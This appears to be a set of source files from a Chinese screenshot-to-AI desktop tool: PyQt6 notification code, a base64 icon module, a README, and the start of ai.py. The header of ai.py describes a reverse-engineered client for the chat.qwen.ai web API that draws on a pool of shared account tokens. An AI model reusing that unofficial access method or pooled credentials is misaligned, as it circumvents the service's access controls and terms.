self.task_manager.finish_task()
def on_task_started(self):
"""任务开始处理"""
self.screenshot_btn.setEnabled(False)
self.clipboard_btn.setEnabled(False)
self.stop_btn.setEnabled(True)
# 清空输出区域，准备显示新的AI分析结果
self.output_text.set_markdown("")
# 关闭之前的大窗口（如果存在）
if hasattr(self, 'large_window') and self.large_window:
self.large_window.close()
self.large_window = None
def on_task_finished(self):
"""任务完成处理"""
self.screenshot_btn.setEnabled(True)
self.clipboard_btn.setEnabled(True)
self.stop_btn.setEnabled(False)
def update_status(self, message):
"""更新状态"""
self.status_label.setText(message)
logging.info(message)
def show_notification(self, title: str, content: str):
"""显示通知 - 小窗口只显示AI回复内容"""
notification_type = self.config_manager.get_config("notification.type") or "small_popup"
if notification_type == "none":
# 不显示通知
return
elif notification_type == "small_popup":
# 显示小型弹窗通知 - 只显示AI回复内容，不显示推理内容
self.notification_window.show_small_notification(content)
elif notification_type == "large_popup":
# 显示大型弹窗通知
self.notification_window.show_large_notification(content)
elif notification_type == "email":
# 发送邮件通知
self.send_email_notification(title, content)
else:
# 默认使用小型弹窗
self.notification_window.show_small_notification(content)
def show_large_window(self, initial_message: str):
"""显示大窗口（统一用于推理内容和流式响应）"""
try:
from custom_window import NotificationWindow
# 关闭之前的大窗口
if hasattr(self, 'large_window') and self.large_window:
self.large_window.close()
# 创建新的大窗口
self.large_window = NotificationWindow.show_large_notification_streaming(initial_message, self)
if self.large_window:
self.large_window.setWindowTitle("AI分析结果")
return self.large_window
except Exception as e:
logging.error(f"显示大窗口失败: {e}")
return None
def send_email_notification(self, title: str, content: str):
"""发送邮件通知"""
try:
# 连接邮件管理器信号
self.email_manager.email_sent.connect(self.on_email_sent)
self.email_manager.email_failed.connect(self.on_email_failed)
# 发送邮件
self.email_manager.send_email(title, content)
except Exception as e:
logging.error(f"邮件通知失败: {e}")
# 邮件失败时回退到小型通知
self.notification_window.show_small_notification(f"邮件发送失败: {e}")
def on_email_sent(self):
"""邮件发送成功"""
# 邮件发送成功时不显示额外弹窗，只记录日志
logging.info("邮件通知发送成功")
def on_email_failed(self, error_msg: str):
"""邮件发送失败"""
# 邮件发送失败时显示小弹窗提示
self.notification_window.show_small_notification(f"邮件发送失败: {error_msg}")
logging.error(f"邮件通知发送失败: {error_msg}")
|
00000O00000/ask-ai-screenshot
| 360,981 |
icon_data.py
|
"""内置图标模块
包含应用程序图标的base64编码数据
"""
import base64
import io
from PIL import Image
# 图标的base64编码数据
ICON_BASE64 = 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/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////H////N////of///3L///9K////KP7+/goAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wb+/v4i////Uv///4X+/v6z////2/////v////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////7////2////7P///+F////Uv7+/iL///8GAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////BP///0D///+B/v7+t////9v////3////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////9////9v+/v63////gf///0D///8EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///8M////UP///6X////V////8f////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////H////V////pf///1D///8MAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///w7///9W////vf///+X////5//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////n////l////vf///1b///8OAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///8A////Cv///0z///+/////8/////3///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////3////z////v////0z///8K////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wD+/v4M////Nv7+/rP////9///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////9/v7+s////zb+/v4M////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wT+/v4m////if///+f////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////n////if7+/ib///8EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///xb///9Q////v/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////+/////UP///xYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///yj+/v6H////5f///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////+X+/v6H////KAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////CP///0D+/v6n////8f//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////8f7+/qf///9A////CAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v7+EP///2D+/v7J////9//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////3/v7+yf///2D+/v4QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////Ev///3T////h/////f////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////3////h////dP///xIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////Dv///4H////t/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////+3///+B////DgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v7+CP///4v+/v73/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////v7+9////4v+/v4IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////Dv///4v/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////i////w4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////Ev///4H+/v73//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////7+/vf///+B////EgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v7+EP///3T////t////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////7f///3T+/v4QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////CP///2D////h/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////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///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////5f///1D///8EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wD+/v4m////v/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////+//v7+Jv///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD+/v4M////if///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////4n+/v4MAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///8A////Nv///+f//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////+7u7uva2trrz8/P/dra2uvu7u7Z///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////n////Nv///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////Cv7+/rP//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////+vr6+d/f4C7Pj5Ay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def get_icon_data():
"""获取图标的二进制数据"""
return base64.b64decode(ICON_BASE64)
def get_icon_image():
"""获取PIL Image对象"""
icon_data = get_icon_data()
return Image.open(io.BytesIO(icon_data))
def save_icon_to_file(filepath):
"""将图标保存到文件"""
with open(filepath, 'wb') as f:
f.write(get_icon_data())
|
00000O00000/ask-ai-screenshot
| 2,128 |
README.md
|
# AI截图分析 v2.1
一个方便的AI截图分析工具，快速使用AI解释你在屏幕上看到的东西，或让他帮你解题。
exe网盘链接：[https://o-zwz-o.lanzouq.com/b002v8ande](https://o-zwz-o.lanzouq.com/b002v8ande) 密码：52pj
Github 项目地址：[https://github.com/00000O00000/ask-ai-screenshot](https://github.com/00000O00000/ask-ai-screenshot)
软件目前处于测试版，可能存在Bug，若有问题，欢迎前往 Github 提交 issue。
本软件使用 Trae + Claude 4 编写，然后由我和 Claude 4 共同进行用户体验优化。
## 功能特点
- **核心功能**：截图后，将图片OCR为文字或直接提交给AI，并自动显示AI回复结果
- **可扩展性**：使用提示词自定义功能，例如 一键截图做题、解释、翻译 等功能
- **开箱即用**：内置原创 Qwen API 逆向，开箱即用
- **高度自由**：可自行配置使用的AI接口、OCR接口、提示词
## 更新日志
### v2.1
- Qwen API 上传图片功能，可使用这个AI上传图片进行OCR
- 替换限制次数的云智OCR引擎为内置 Qwen API，使用“Qwen-2.5vl-32b-instruct”作为OCR引擎。
- 老版本用户如果想用这个AI，可以删除配置文件后重启软件，以自动生成新配置。
### v2.0
- 移除可能导致问题的前端配置部分，请自行编辑`config.toml`文件以自定义配置
- 新增：内置原创 Qwen API 逆向，允许开箱即用
## 注意事项
- 只有多模态模型允许直接提交图片，目前常用的多模态模型为 Claude 3/4 系列，gpt-4o，Qwen-2.5vl。现在常见的Qwen3全系列、Deepseek系列、Kimi-K2都不是多模态模型，需要先OCR后再提交。如果你发现模型报错400，请检查此配置是否正确。
- 需要联网功能，请使用秘塔API，有赠送额度，且付费很便宜。
## 技术架构
- 语言：Python
- GUI：PyQt6
- 截图：PIL
- 快捷键：pynput
- AI引擎：Requests
## 推荐AI服务商
| 名称 | 推荐理由 | 链接地址 |
| -------- | --------------------------- | ------------------------------------------ |
| 硅基流动 | 模型齐全，稳定，价格合理 | https://cloud.siliconflow.cn/models |
| 魔搭社区 | Qwen3全系列，每日2000次免费 | https://www.modelscope.cn/my/myaccesstoken |
| 秘塔AI | 超强、超快联网搜索 | https://metaso.cn/search-api/playground |
| V3 API | 最全中转商，400+模型 | https://api.gpt.ge/register?aff=TVyz |
## 腾讯OCR配置步骤
腾讯云OCR每月有1000次OCR调用次数，如果对精度有要求，推荐使用此OCR
1. **登录腾讯云**：前往链接，登录控制台。https://console.cloud.tencent.com
2. **开通OCR服务**：前往链接，开通OCR服务。https://console.cloud.tencent.com/ocr/overview
3. **获取密钥对**：前往链接，获取 `SecretID` 和 `SecretKey` ，保存到本地。https://console.cloud.tencent.com/cam/capi
4. **等待额度到账**：回到开通服务界面，持续刷新，等待免费的1000额度到账，然后在软件中配置密钥对，开始使用OCR服务。
## 许可证
本项目仅供学习和个人使用，不得用于任何商业化用途。
图标来源iconfont，[链接](https://www.iconfont.cn/collections/detail?spm=a313x.user_detail.i1.dc64b3430.6b413a81uspeMj&cid=17714)
## 更新日志
### v1.0.0
- 初始版本发布
- 支持基本的截图、OCR和AI分析功能
- 完整的配置管理系统
- 多种通知方式
- 现代化的用户界面
## 计划添加的功能
- 多模型同时提问
|
00000O00000/ask-ai-screenshot
| 28,707 |
ai.py
|
# ai.py
# pip install requests flask flask-cors oss2
# 使用Qwen3 Coder写的chat.qwen.ai网页API逆向，AI的刀先插在自己身上了说是。
# 扒源码的哥们，网页端token数上传限制为96000，我没有对大于这个token的请求做错误处理，别被坑了。
import requests
import uuid
import time
import json
import os
import warnings
import base64
import hashlib
import random
from urllib.parse import urlparse
from flask import Flask, request, jsonify, Response, stream_with_context
from flask_cors import CORS
import oss2
# ==================== 配置区域 ====================
# 负载均衡token池
# 来扒源码的人就别抄这个Token了，你随便去chat.qwen.ai注册几个新号，都比用下面这些万人token好。
# 逆向源码摆在这了，就被用这个token了。
# 后面代码的注释全是AI写的，我也懒得管这个逆向有哪些报错，你看着办吧。
QWEN_AUTH_TOKENS = [
